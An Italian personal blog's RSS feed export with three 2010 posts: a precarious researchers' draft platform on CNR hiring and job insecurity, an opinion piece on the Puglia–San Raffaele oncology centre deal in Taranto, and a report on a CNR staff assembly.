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	<title>SEL - trasformazione, sostenibilità e partecipazione</title>
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	<description>Vincenzo Fiore: Ricercatore, Precario, Antifascista</description>
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		<title>CNR &#8211; Bozza di discussione sul contrasto al lavoro precario</title>
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		<pubDate>Tue, 13 Jul 2010 13:37:18 +0000</pubDate>
		<dc:creator>Vincenzo Fiore</dc:creator>
				<category><![CDATA[Analisi]]></category>
		<category><![CDATA[Idee]]></category>
		<category><![CDATA[CNR]]></category>
		<category><![CDATA[innovazione]]></category>
		<category><![CDATA[lavoro]]></category>
		<category><![CDATA[precarietà]]></category>
		<category><![CDATA[ricerca]]></category>
		<category><![CDATA[scienza]]></category>
		<category><![CDATA[università]]></category>

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<p style="text-align: justify;">Quella  che segue è la bozza di un testo su cui si sta cercando di convergere in  vista di un incontro con il presidente del CNR, Maiani. Nei prossimi  giorni il testo verrà fatto circolare e quindi probabilmente modificato  in alcuni dettagli, in modo da raccogliere il più alto numero possibile  di adesioni tra i collettivi di precari formatisi negli Istituti del  CNR.</p>
<p style="text-align: justify;">L&#8217;incontro  con il presidente non è stato ancora fissato, ma avendolo proposto lo  stesso Maiani ad alcuni di noi il giorno 30 maggio, si spera che non  voglia rimangiarsi la parola. Ecco il testo:</p>
<p style="text-align: justify;"><strong>1-  Il blocco del turnover. </strong>Il preannunciato blocco del turnover al 20%  rappresenta la via maestra per l&#8217;invecchiamento dell&#8217;ente e per  l&#8217;accelerazione del processo già avviato da molti anni che consiste  nell&#8217;affidare buona parte della ricerca a personale assunto con  contratti di tipo precario, in numero sempre maggiore e con condizioni  sempre peggiori.</p>
<p style="text-align: justify;">Non è  necessario un grande sforzo di immaginazione per prevedere cosa accadrà  nell&#8217;immediato futuro: la riduzione dell&#8217;organico infatti non può che  aumentare le difficoltà nella produzione tecnologica, scientifica,  culturale e di servizi, nonché ovviamente nell&#8217;ottenere commesse e  progetti finanziati da enti terzi, nazionali o internazionali. Il CNR   dovrà quindi rassegnarsi alla marginalità sullo scenario mondiale della  ricerca o poggiarsi su un numero crescente di precari, assunti con fondi  esterni, per compensare la carenza di personale.</p>
<p style="text-align: justify;">Questo  secondo scenario non è nuovo, ma non è detto che il meccanismo possa  essere replicato all&#8217;infinito. E&#8217; plausibile invece il contrario: già  oggi i ricercatori che entrano nel CNR come assegnisti si rendono  rapidamente conto di come le prospettive di lavoro nell&#8217;ambito della  ricerca in Italia siano vicine allo zero.</p>
<p style="text-align: justify;">Ma  questo non è tutto: la spesso evocata meritocrazia viene in questo modo  azzerata da una selezione basata letteralmente sul censo dei ricercatori  che, in assenza di una retribuzione di livello europeo, bilanciano le  proprie motivazioni a proseguire in questo lavoro, con la facoltà di  stazionare in una condizione di incertezza senza fine e con la capacità  di tollerare la percezione di rischio che necessariamente genera vivere  con un orizzonte professionale e personale così limitato.</p>
<p style="text-align: justify;">Di  fatto questa politica incentiva la fuga verso l&#8217;estero o l&#8217;abbandono da  parte di ricercatori che si sono formati in Italia e che porteranno  altrove o disperderanno le proprie competenze, proprio nel momento in  cui sono più “produttivi”.</p>
<p style="text-align: justify;">Riteniamo  che opporsi con ogni mezzo necessario a questa politica sia non solo un  dovere civico ma che sia coerente con l&#8217;idea che il CNR debba  continuare a perseguire la missione che si è dato.</p>
<p style="text-align: justify;">Chiediamo  che la presidenza del CNR si esprima contro questa politica in modo  netto, utilizzando tutti i canali a sua disposizione. Non è questa una  richiesta di tutela corporativa: al contrario è una spinta solidaristica  che porta a denunciare una politica miope, causa di immiserimento  economico e culturale del nostro Paese, economicamente svantaggiosa sia  nel breve che nel lungo periodo.</p>
<p style="text-align: justify;"><strong>2-  Il fabbisogno di personale. </strong>In una situazione così disastrosa ci  sembra prioritario che questo Ente debba gestire le risorse di cui  dispone cercando di indirizzarle in maniera strategica per garantirsi un  futuro.</p>
<p style="text-align: justify;">Il  piano di fabbisogno triennale, presentato qualche mese fa e oramai  azzerato dalla manovra finanziaria, è quindi incomprensibilmente  autolesionista: mascherando come reclutamento di primi ricercatori e  dirigenti gli avanzamenti di carriera, questo piano nella realtà otterrà  l&#8217;obiettivo di frustrare ulteriormente le attese dei giovani  ricercatori, incentivando la dispersione. Dobbiamo qui confermare la  nostra analisi: questa direzione è in antitesi con la necessità di  futuro di un Ente che invecchia e che si indebolisce, disperdendo il  patrimonio di esperienza e professionalità sul quale si è investito per  lungo tempo.</p>
<p style="text-align: justify;">Come  assunto generale, crediamo che l’elaborazione dei piani di fabbisogno  dovrebbe poggiare su una riflessione trasparente e pubblica sulle  priorità da perseguire per il rilancio dell’Ente. Da questo punto di  vista, il numero di posti assegnati ai diversi livelli, se non  accompagnato da un’analisi della pianta organica attuale e in assenza di  una pianificazione conseguente che tenga conto delle criticità da  affrontare, non può che apparire arbitraria e oscura. Per questo  chiediamo che:</p>
<ul style="text-align: justify;">
<li>venga 	rimodulato il fabbisogno di personale verso posizioni di III  livello 	vista la quantità di personale atipico presente negli istituti  del 	CNR. Questa richiesta, in accordo con le rivendicazioni già fatte 	 in passato, include sia le risorse derivate dal turn-over 2010-2012 	sia  le altre risorse in gestione al CNR quali, ad esempio, il conto 	fondo  terzi.</li>
<li>le 	posizioni di I e II livello siano gestite secondo canali  paralleli e 	non coincidenti rispetto alle assunzioni per terzi livelli,  sia in 	termini di stanziamento fondi che di procedure concorsuali</li>
<li>la 	Presidenza debba chiedere con forza la riattivazione delle  procedure 	di avanzamento di carriera su base contrattuale.</li>
</ul>
<ul style="text-align: justify;">Per 	 il futuro, vorremmo che il CNR riuscisse almeno ad esplicitare e 	 rendere pubblici tanto il processo quanto le dinamiche che portano 	alle  scelte di merito nelle politiche di reclutamento: la 	determinazione  del fabbisogno inoltre dovrebbe essere il risultato 	di un processo  partecipato in cui possano esprimere il proprio punto 	di vista tutti  gli stakeholders attivi all’interno dell’Ente 	stesso.</ul>
<p style="text-align: justify;"><strong>3-  Un c</strong><strong>ensimento di tutti i lavoratori non strutturati. </strong>Ad oggi,  non esiste un monitoraggio dei lavoratori interni al CNR assunti con  contratti a termine diversi dal Tempo Determinato (TD), nonostante la  diffusione massiccia di contratti di lavoro tra i più diversi: dagli  ovvi assegni di ricerca, alle borse, ai cococo ecc.</p>
<p style="text-align: justify;">I dati  sulla diffusione e l’incidenza del precariato dentro il CNR sono un vero  e proprio mistero. Secondo l’Amministrazione centrale “il dato non è  estraibile”: non è possibile sapere quanti siamo, chi siamo, da quanto  tempo siamo qui; semplici statistiche descrittive, di un fenomeno di  rilevanza cruciale per l’Ente, sembrano tramutarsi in analisi di una  complessità inaudita da mettere in difficoltà persino il Consiglio  Nazionale delle Ricerche!</p>
<p style="text-align: justify;">E&#8217;  chiaro che finora è mancata la volontà di affrontare questo problema e  quindi di fare luce sull’incidenza e le caratteristiche di un fenomeno  che, se reso evidente, si manifesterebbe nella sua importanza. Questo  fenomeno è invece per noi lo specchio della salute del CNR, un ente:</p>
<ul style="text-align: justify;">
<li><em>Debole</em>, 	perché le sue risorse “interne” sono oramai  irrisorie a fronte 	dei fondi esterni procacciati in larga misura  attraverso il lavoro 	dei precari. Risorse massimizzate grazie alla  logica al ribasso con 	cui sono attribuite le posizioni contrattuali:  responsabilità che 	ricade sui capi-progetto, sui direttori degli  Istituti e i dirigenti 	di questo Ente che, adottando la politica del <em>laissez  faire,</em> avvallano l’ottica del “massimo risultato con la minima  spesa”, 	dimostrando in questo modo la scarsa lungimiranza di chi non si  pone 	né il problema delle prospettive a lungo termine dell’Istituto in  	cui lavora o che dirige, né un dubbio etico.</li>
<li><em>Vecchio</em>, 	perché anche tra i non strutturati non si è poi  così tanto 	giovani e come si è già ribadito le politiche in discussione  	porteranno all&#8217;innalzamento dell&#8217;età media. Quindi un Ente vecchio 	 ora, e vecchissimo domani.</li>
<li><em>Povero</em> di prospettiva e lungimiranza, ma anche di onestà  etica ed 	intellettuale, dato che i destini dei giovani ricercatori sono  nelle 	mani di strutturati che non vengono valutati.</li>
<li><em>Opaco</em>, 	perché le sue dinamiche interne si prestano a  nascondere più che a 	rendere espliciti i processi, i percorsi e le  figure che vi 	partecipano o che ne sono responsabili.</li>
</ul>
<p style="text-align: justify;">Come  primo passo, sosteniamo la necessità di un censimento, a cadenza annuale  e gestito dall&#8217;Ente, che faccia luce sul numero e la tipologia di tutti  i contratti diversi da quelli a tempo indeterminato (e.g. contrattisti a  progetto, assegnisti di ricerca e affini), delineando le modalità dei  percorsi lavorativi di chi è assunto con contratti a termine all&#8217;interno  del CNR.</p>
<p style="text-align: justify;">Di  fianco a questo strumento fondamentale per fare chiarezza sul lavoro  attualmente invisibile all&#8217;interno del CNR è necessario che siano rese  trasparenti e accessibili le statistiche riguardanti il contributo che  questi lavoratori apportano ai progetti, secondo i parametri già  utilizzati per la valutazione degli Istituti. E&#8217; arrivato il momento di  fare chiarezza sull&#8217;apporto scientifico imputabile al personale assunto  con contratti a termine.</p>
<p style="text-align: justify;"><strong>4-  Percorso unico di accesso. </strong>Nel CNR oggi non esiste un unico percorso  di accesso che inquadri i ricercatori con contratto a termine nel  momento in cui fanno il loro ingresso nell&#8217;Ente. Questa mancanza si è  purtroppo concretizzata in una frammentazione ingiustificata delle  tipologie di contratto, guidata da quella politica del massimo risultato  con la minima spesa a cui si è già fatto ampiamente riferimento. Le  competenze o titoli acquisiti e la tipologia di lavoro svolto, non  sembrano essere discriminanti nello stabilire il tipo di contratto  offerto.</p>
<p style="text-align: justify;">Noi  pensiamo che sia il caso di contrastare duramente questo fenomeno,  fissando, come avviene in moltissimi Paesi un percorso di accesso chiaro  che delinei i passaggi essenziali nelle loro forme contrattuali. Non si  chiede qui di inseguire una ipotetica condizione di avanzamento  automatico di carriera, ma di riconoscere a parità di lavoro e di  competenze, parità di forme contrattuali.</p>
<ul style="text-align: justify;">
<li>Il 	CNR deve privilegiare le forme di contratto TD, rendendole 	 obbligatorie come forma di contratto Post-DOC</li>
<li>i 	contratti a termine diversi dal TD devono essere limitati da  subito 	per i ricercatori a tempo pieno all&#8217;assegno di ricerca e va  presa in 	considerazione la possibilità di adottare i contratti da  &#8220;giovane 	ricercatore&#8221; del MIUR come forma di accesso.</li>
<li>In 	entrambi i casi il tempo massimo di reiterazione della stessa  forma 	di contratto precario dovrebbe nel futuro essere limitata a tre 	 anni.</li>
</ul>
<p style="text-align: justify;">In  primo luogo, si pongono così le basi per una semplificazione dei  rapporti di lavoro, favorendo una maggiore chiarezza tra le parti ed un  miglioramento nella qualità del lavoro di ricerca svolto. In secondo  luogo, si offre uno strumento per supportare la pianificazione economica  e finanziaria da parte del coordinatore di un gruppo di ricerca che  rispetti dei parametri chiari che impediscano la tentazione dell&#8217;attuale  corsa al ribasso.</p>
<p style="text-align: justify;"><strong>5 –  Le risorse destinate alla chiamata diretta. </strong>Un aspetto legato alle  procedure di assunzione a tempo indeterminato del personale di ricerca  del CNR riguarda l’Art. 13 del D. Lgs. 213/2009 concernente il riordino  enti di ricerca vigilati dal MIUR. Secondo tale decreto gli enti di  ricerca vigilati dal MIUR, tra cui il CNR, hanno la possibilità di  assumere a tempo indeterminato per chiamata diretta e quindi senza  espletare procedure concorsuali adeguate, fino al 3% dell’organico dei  ricercatori e tecnologi nei limiti delle disponibilità di bilancio e  previo il nulla osta del Ministero stesso.</p>
<p style="text-align: justify;">E&#8217;  d&#8217;obbligo focalizzare l’attenzione su due aspetti cruciali del decreto  che vanno a modificare, peggiorandola, una disposizione precedente:</p>
<ul style="text-align: justify;">
<li>il 	metodo di assunzione non è più accompagnato dal parere del 	 Consiglio scientifico ma dal comitato di esperti per la politica 	della  ricerca (Cepr) ed è inoltre subordinata al previo assenso da 	parte del  Ministro in carica;</li>
<li>per 	l’assunzione non è più previsto un inquadramento solo «al 	 massimo livello contrattuale del personale di ricerca», ma «fino 	al  massimo livello contrattuale del personale di ricerca». Non si 	 comprende il senso di apportare queste modifiche, se non con il 	 tentativo di legittimare operazioni clientelari attraverso una 	 procedura di valutazione alquanto arbitraria, poco trasparente e 	 lontana dall&#8217;obiettivo dichiarato di svolgere corretti iter 	 concorsuali.</li>
</ul>
<p style="text-align: justify;">Per  quanto riguarda i fondi gestiti direttamente dalla sede centrale, come  il fondo conto terzi, è importante che sia reso pubblico un rapporto  sull’ammontare della disponibilità economica di questi fondi e sulle  previsioni delle modalità di utilizzo: viste tutte le premesse, è per  noi naturale pensare che questi fondi possano essere disponibili per  l’assunzione di personale.</p>
<p style="text-align: justify;"><strong>6 –  Trasparenza ed equità nei concorsi. </strong>Un punto fondamentale delle  politiche di reclutamento del CNR (e non solo) riguarda la trasparenza e  l&#8217;equità dei concorsi. Troppo spesso abbiamo osservato scarsa apertura  nella procedura di selezione, con profili disegnati più su di una  persona che sulla figura professionale richiesta.</p>
<p style="text-align: justify;">Riteniamo  che la procedura di selezione debba permettere di scegliere la persona  migliore per svolgere il lavoro richiesto e a questo scopo il concorso  deve offrire un metodo di valutazione <em>ex ante</em> ampia ed oggettiva,  a cui va affiancata una valutazione <em>ex post</em> periodica che  permetta di confermare la qualità della selezione effettuata. La  questione è quindi ampia e complessa, tanto da richiedere una  riflessione attenta, che oggi è urgente oltre che necessaria.</p>
<p style="text-align: justify;">Se  quindi riformare le procedure di concorso necessita di una discussione  che coinvolga tutta la rete scientifica, possiamo già da subito indicare  pochi accorgimenti che renderebbero le attuali procedure senz&#8217;altro più  accettabili.</p>
<ul style="text-align: justify;">
<li>I 	concorsi devono essere basati su un regolamento univoco, che 	 garantisca assoluta chiarezza sia nelle modalità di partecipazione 	che  nella procedura di valutazione.</li>
<li>Per 	quanto riguarda l&#8217;accesso al concorso, devono essere eliminati  tutti 	i vincoli che limitano la possibilità di partecipazione.
<ul>
<li>deve 		essere eliminato il vincolo di possedere una laurea  specifica: deve 		essere possible poter partecipare alla selezione  semplicemente 		grazie al possesso del titolo di laurea, a prescindere  dalla 		specializzazione.</li>
<li>deve 		essere eliminato il vincolo di partecipazione a un numero  limitato 		di selezioni all&#8217;interno di uno stesso bando.</li>
</ul>
</li>
<li>La 	procedura di valutazione deve basarsi su punteggi definiti in 	 maniera univoca per tutti i concorsi, eliminando l&#8217;arbitrarietà 	della  commissione nella loro definizione.</li>
<li>I 	titoli devono essere valutati secondo parametri chiari e  inclusivi. 	Non ci devono essere limiti nel numero di pubblicazioni  presentate, 	visto che è possibile stabilire in maniera oggettiva la  qualità di 	ognuna. In questo modo, la valutazione dei titoli può avere  il peso 	che merita, maggiore rispetto a quello delle prove scritte e  orali.</li>
</ul>
<p style="text-align: justify;">Riteniamo  che queste semplici modifiche possano migliorare da subito la qualità  dei concorsi all&#8217;interno del metodo attuale. Inoltre, riteniamo che si  debba avviare una riflessione profonda e partecipata per migliorare le  procedure di selezione.</p>
<p style="text-align: justify;"><a href="http://www.vincenzofiore.it/wp-content/uploads/2010/07/frattale2.jpg"><img class="aligncenter size-large wp-image-1590" title="Fractal" src="http://www.vincenzofiore.it/wp-content/uploads/2010/07/frattale2-585x438.jpg" alt="" width="585" height="438" /></a></p>
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		<title>L’affare sanità: don Verzè e Nichi Vendola</title>
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		<pubDate>Sun, 20 Jun 2010 18:34:57 +0000</pubDate>
		<dc:creator>Vincenzo Fiore</dc:creator>
				<category><![CDATA[Analisi]]></category>
		<category><![CDATA[Puglia]]></category>
		<category><![CDATA[sanità]]></category>
		<category><![CDATA[Vendola]]></category>

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[PREMESSA 1: intervista di Libera.tv a Nichi, nella quale sono affrontati sia il tema Don Verzé, sia il tema inceneritore (a partire dal minuto 5:30)]


[PREMESSA 2: il testo che segue è nato come risposta informale  via mail ad una compagna ed è poi comparso su questo blog più che altro come memo personale. Di [...]]]></description>
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<p style="text-align: justify;"><strong>[PREMESSA 1: intervista di Libera.tv a Nichi, nella quale sono affrontati sia il tema Don Verzé, sia il tema inceneritore (a partire dal minuto 5:30)]<br />
</strong></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/SQD7hpfipkg?fs=1&amp;hl=it_IT&amp;color1=0x5d1719&amp;color2=0xcd311b" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/SQD7hpfipkg?fs=1&amp;hl=it_IT&amp;color1=0x5d1719&amp;color2=0xcd311b" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p style="text-align: justify;"><strong>[PREMESSA 2: il testo che segue è nato come risposta informale  via mail ad una compagna ed è poi comparso su questo blog più che altro come memo personale. Di conseguenza le eventuali critiche sui contenuti saranno preferite a quelle  sulla forma.]</strong></p>
<p style="text-align: justify;">Ovvero: sui falsi scoop.</p>
<p style="text-align: justify;">Grazie alla segnalazione di nome in codice &#8220;MaPi&#8221;, leggo questo articolo,  che vi segnalo:</p>
<p style="text-align: justify;"><a href="http://www.italiaterranostra.it/?p=5150" target="_blank">http://www.italiaterranostra.it/?p=5150</a></p>
<p style="text-align: justify;">Ecco quello che ho &#8220;scoperto&#8221; grazie ad una veloce indagine personale e  da fonti di prima mano.</p>
<p style="text-align: justify;">La notizia è di dominio pubblico in realtà dal 2006. Non c&#8217;è nessuno  &#8220;scoop&#8221;: l&#8217;accordo non è stato tenuto &#8220;segreto&#8221; o non si è cercato di  nasconderlo, anzi è stato pubblicizzato a lungo. Basta fare una ricerca  su google, ma ho trovato anche una puntata di report in cui si accennava  alla questione (6/12/2009).</p>
<p>L&#8217;accordo con il San Raffaele prevede la costruzione di un centro  oncologico di eccellenza nella zona di Taranto con fondi partecipati (secondo  gli accordi, 210 milioni di capitale così composti: 120 a carico della  regione Puglia,  80 provenienti dalla Fondazione San Raffaele  di Don  Verzè e 10  forniti dallo stato centrale, se Tremonti non si rimangia la  parola, cosa più che possibile):  nell&#8217;articolo citato da MaPi e nei successivi che lo citano, ci sono però alcune allusioni scorrette:</p>
<p style="text-align: justify;"><strong>1)</strong> il controllo dell&#8217;operazione è nelle mani di una fondazione  costituita ad hoc, una fondazione che, come scritto anche nell&#8217;articolo  di cui sopra, ha visto la luce legalmente il 28 maggio 2010 (ma è stata  preparata per circa 4 anni). Quello che si omette nell&#8217;articolo è che  questa fondazione è controllata a maggioranza dalla regione Puglia.<br />
<strong>2)</strong> la gara d&#8217;appalto per la costituzione di questo tipo di fondazioni non è necessaria: non so  spiegare i motivi in termini legali, ma essendo una operazione  trasparente e non un accordo sottobanco (come dimostra la pubblicità  riservata all&#8217;evento di creazione della fondazione), i legali della  regione Puglia hanno dovuto ovviamente tenere bene in considerazione  questo punto quando hanno stipulato gli accordi.<br />
<strong>3) </strong>l&#8217;autore dell&#8217;articolo si chiede se non esistessero imprenditori o  banche capaci di entrare nella fondazione al posto di Verzè. Questa  operazione però non riguarda solamente fondi raccolti, ma know how  (persone fisiche con competenze) e tecnologie: l&#8217;idea è che si possano  utilizzare le competenze (elevate) del San Raffaele per stabilire un  centro di eccellenza in un posto -Taranto- che da anni è ormai  commissariato ed è diventato un deserto di investimenti.</p>
<p style="text-align: justify;">Lo stato delle cose oggi vede la regione Puglia con molti pazienti  in viaggio verso altre regioni (Lombardia tra le prime) in cerca di cure  di qualità: questo fenomeno ha un costo elevato in termini di rimborsi,  per non parlare del costo sociale (c&#8217;è chi può permettersi di viaggiare  e chi no, con conseguente discriminazione per censo nel campo della  salute). L&#8217;operazione sarebbe mirata a invertire questa tendenza,  portando, alla lunga, alla correzione di queste storture con un  conseguente risparmio anche in termini economici, mentre nel breve  periodo vi sarebbe un forte investimento di denaro privato nel  Tarantino.</p>
<p style="text-align: justify;">Ultimi tre problemi sollevati che leggo qui e là in blog e siti che  hanno trattato la notizia (i primi due soprattutto nei commenti a dire  la verità):<br />
<strong>A)</strong> perché proprio Taranto? Qui si intende che la zona è  già inquinata e una struttura per il trattamento oncologico  peggiorerebbe la situazione. Addirittura alcuni dicono che l&#8217;operazione è  fatta in disprezzo della vita dei tarantini. Mi sembra una posizione  delirante: perché questo ospedale dovrebbe essere particolarmente  inquinante? O forse si intende che tutti gli ospedali sono inquinanti?  Magari c&#8217;è un po&#8217; di confusione sul concetto di cura oncologica, ma  questa mi sembra malafede o stupidità. Probabilmente entrambe: salta  infatti fuori in mezzo a questi commenti anche la questione  inceneritore, con i soliti argomenti&#8230; ma questo è un altro discorso.<br />
<strong>B) </strong>perché proprio Don Verzè? Certamente perché il San Raffele è un  centro di qualità molto elevata, ma è anche vero che vi sia un rapporto  di amicizia personale tra Nichi e l&#8217;ex-pretaccio (&#8220;pretaccio&#8221;&#8230; termine  tecnico). Non si scopre adesso che Nichi dà molta importanza ai rapporti  personali di amicizia o conoscenza: da un punto di vista politico  questo è probabilmente un punto debole, ma per dire che la scelta sia  ricaduta su Don Verzè solo per via di questi rapporti personali  servirebbero prove dell&#8217;incapacità di Don Verzè nel gestire in modo  eccellente questo genere di strutture oncologiche (auguri!) oppure  indicazioni sull&#8217;esistenza di un altro gruppo concorrente desideroso di  investire e dotato di competenze almeno pari (!). Nichi non è certamente  perfetto, ma qui mi pare si esageri.<br />
<strong>C)</strong> Berlusconi coinvolto e favorito nell&#8217;affare. A parte il fatto non trascurabile che l&#8217;ingresso del Berlusca nella fondazione che gestisce il San Raffaele è successivo temporalmente agli accordi stipulati dalla Regione Puglia, su questo punto, personalmente resto  con i Wu Ming e i loro motivi per pubblicare per Einaudi e concludo tornando all&#8217;inizio di questo post: punto 1) il controllo dell&#8217;operazione è nelle  mani della regione.</p>
<p style="text-align: justify;">A conclusione di tutto questo, visti i tagli in finanziaria,  l&#8217;intero accordo potrebbe saltare, dato che quello che ha detto Nichi a  proposito dei presidenti di regione trasformati in &#8220;curatori  fallimentari&#8221; non è affatto una esagerazione.  In questi termini, il  rimborso ipotetico per i posti letto creati è a rischio e Don Verzè non è  un benefattore dell&#8217;umanità.</p>
<p style="text-align: justify;">Amen.</p>
<p style="text-align: justify;">[aggiunta di agosto 2010 - ecco un altro articolo interessante sull'argomento:<br />
<a href="http://mazzetta.splinder.com/post/23141432/la-bufala-dellaffaire-vendolaverze" target="_blank">http://mazzetta.splinder.com/post/23141432/la-bufala-dellaffaire-vendolaverze</a>]</p>
<p style="text-align: justify; padding-left: 30px;"><strong>PS In seguito ai vari articoli pubblicati su &#8220;Italia Terra Nostra&#8221; (che chiaramente su questo argomento punta per poter emergere dall&#8217;anonimato della rete), il 28 agosto Nichi ha replicato sul suo blog alle domande postegli. Ecco il link: <a href="http://www.nichivendola.it/sito/mcc/informazione/sul-san-raffaele-del-mediterraneo.html" target="_blank">http://www.nichivendola.it/sito/mcc/informazione/sul-san-raffaele-del-mediterraneo.html</a></strong></p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://www.vincenzofiore.it/?p=1570" target="_blank"><img src="http://www.vincenzofiore.it/wp-content/plugins/add-to-facebook-plugin/facebook_share_icon.gif" alt="Share on Facebook" title="Share on Facebook" /></a><a href="http://www.facebook.com/share.php?u=http://www.vincenzofiore.it/?p=1570" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
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		<title>CNR &#8211; eyes wide shut</title>
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		<pubDate>Mon, 31 May 2010 16:01:03 +0000</pubDate>
		<dc:creator>Vincenzo Fiore</dc:creator>
				<category><![CDATA[Avviso]]></category>
		<category><![CDATA[CNR]]></category>
		<category><![CDATA[innovazione]]></category>
		<category><![CDATA[lavoro]]></category>
		<category><![CDATA[precarietà]]></category>
		<category><![CDATA[ricerca]]></category>
		<category><![CDATA[Roma]]></category>
		<category><![CDATA[scienza]]></category>

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		<description><![CDATA[<!--Searching /web/htdocs/www.vincenzofiore.it/home/wordpress/wp-content/random_poster: found 26 images in 0.00030600000000003 seconds-->
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Oggi si è tenuta una assemblea indetta dal presidente del CNR per la discussione del nuovo statuto dell&#8217;Ente. Aperta a tutti gli istituti ed a tutti i ricercatori (fatto inedito che ha incredibilmente incluso anche i &#8220;precari&#8221;), ci ha permesso di sfruttare l&#8217;occasione per portare avanti le nostre rivendicazioni e forzare il presidente ad indire [...]]]></description>
			<content:encoded><![CDATA[<!--Searching /web/htdocs/www.vincenzofiore.it/home/wordpress/wp-content/random_poster: found 26 images in 0.00029400000000002 seconds-->
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<p style="text-align: justify;">Oggi si è tenuta una assemblea indetta dal presidente del CNR per la discussione del nuovo statuto dell&#8217;Ente. Aperta a tutti gli istituti ed a tutti i ricercatori (fatto inedito che ha incredibilmente incluso anche i &#8220;precari&#8221;), ci ha permesso di sfruttare l&#8217;occasione per portare avanti le nostre rivendicazioni e forzare il presidente ad indire una assemblea mirata esclusivamente al tema del piano delle assunzioni.</p>
<p style="text-align: justify;">L&#8217;obiettivo è stato raggiunto solo in parte.</p>
<h5 style="text-align: justify;">Questo il documento distribuito e letto a più riprese durante l&#8217;assemblea.</h5>
<p style="text-align: justify;">“Il Consiglio Nazionale delle Ricerche (CNR) è Ente pubblico nazionale con il compito di svolgere, promuovere, diffondere, trasferire e valorizzare attività di ricerca nei principali settori di sviluppo delle conoscenze e delle loro applicazioni per lo sviluppo scientifico, tecnologico, economico e sociale del Paese. Un obiettivo che l&#8217;Ente vuole perseguire [...] alla luce di una missione ambiziosa: rappresentare una risorsa da valorizzare per lo sviluppo socio &#8211; economico del Paese. Alla base, il convincimento che l&#8217;attività di ricerca e sviluppo, determinante per la competitività del sistema economico nazionale, possa generare nuova occupazione, maggior benessere e maggiore coesione sociale.”</p>
<p style="text-align: justify;">Quello che dobbiamo chiederci oggi è se questa missione ambiziosa sia o meno perseguita con gli strumenti di cui si dispone. La nostra sensazione è che l&#8217;intero Ente sia oggi compromesso da una politica sciagurata di tagli e che la pianificazione che sarà assunta per i prossimi anni potrebbe provare a portarlo fuori dalle secche in cui si trova oppure avviarlo definitivamente verso un triste declino.</p>
<p style="text-align: justify;">La nuova finanziaria sfrutta la crisi economica per azzerare le già scarse risorse di cui questo Ente disponeva: un fenomeno accentuato da una visione miserabile della ricerca, della scienza e della cultura in generale come forme di spesa parassitaria per lo Stato, senza alcun ritorno economico spendibile. Sappiamo bene quanto sia miope questa posizione, e pensiamo al contrario che sia necessario sfruttare questo momento per rilanciare, dimostrando la forza di questo Ente e la sua importanza cruciale. Purtroppo il piano di assunzioni che da qualche settimana circola tra gli Istituti, prima come voce di corridoio e poi con dati più precisi, si muove invece nella direzione del cercare di “tirare a campare”.</p>
<p style="text-align: justify;">In un momento di scarsità di risorse si è infatti pensato che la direzione da intraprendere fosse quella di ampliare il numero di dirigenti e primi ricercatori, che avrebbero basato inevitabilmente la loro capacità di azione e intervento sulla abilità di costruire gruppi di ricerca composti esclusivamente (o quasi) da ricercatori con contratti a termine, assegnisti o, in casi “fortunati”, TD.</p>
<p style="text-align: justify;">Tutto ciò si fonda sull’errata convinzione che noi “ricercatori precari”, con anni di esperienza all&#8217;attivo e un’ampia competenza e produzione scientifica, saremmo disposti a contribuire alla ricchezza scientifica dell&#8217;Ente a qualsiasi costo. La realtà è che questo è il modo più efficace per convincerci a cambiare lavoro o emigrare.</p>
<p style="text-align: justify;">La retorica non è efficace quanto i dati concreti (probabilmente presto resi anche peggiori dai tagli imposti dalla manovra finanziaria):</p>
<p style="text-align: justify;">Tipologia contratto &#8212;&#8211; Pianificazione 2010/2012 &#8212;&#8211; Pianta Organica Aprile 2010<br />
Ricercatore III Livello                     196                                                   2355<br />
Primo Ricercatore                          104                                                    908<br />
Dirigente di ricerca                          61                                                     334<br />
Tecnologo III Livello                       120                                                    294<br />
Primo Tecnologo                              6                                                       82<br />
Dirigente Tecnologo                         6                                                       37<br />
Tecnico e Amministrativo               394                                                   2747</p>
<p style="text-align: justify;">Noi pensiamo che il CNR debba svolgere quel ruolo che è esplicitato nella sua missione: un ruolo strategico per impedire che il nostro Paese aggiunga alla bancarotta morale anche quella culturale ed economica. Per questo motivo, a maggior ragione quando i finanziamenti alla ricerca sono scarsi, il CNR deve:</p>
<ol>
<li style="text-align: justify;">definire il piano di fabbisogno di personale investendo sull’assunzione di nuovi ricercatori, piuttosto che sulle figure dirigenziali;</li>
<li style="text-align: justify;">rendere trasparenti le scelte fatte nella programmazione del fabbisogno di personale: queste devono essere fondate sulle reali esigenze dell’ente, su una corretta valutazione degli istituti (sperando che quella compiuta di recente non sia trasformata in un esercizio di stile) e devono essere motivate con la pubblicazione di dati puntuali;</li>
<li style="text-align: justify;">correggere la stortura che porta spesso all&#8217;assunzione di ricercatori sotto il profilo di tecnico o tecnologo, per pura necessità;</li>
<li style="text-align: justify;">muoversi in modo che il reclutamento di tutto il personale, a qualsiasi livello, avvenga sempre tramite procedure concorsuali aperte e trasparenti, che permettano una selezione vera e basata sul merito;</li>
<li style="text-align: justify;">ritirare la possibilità di reclutamento per chiamata diretta &#8211; il famoso 3% che prima era destinato a contrattualizzare i premi nobel, ma che apprendiamo potrebbe essere utilizzato per assumere nuovo personale a tutti i livelli &#8211; per evitare il rischio evidente che queste posizioni siano facilmente &#8220;lottizzate&#8221;.</li>
</ol>
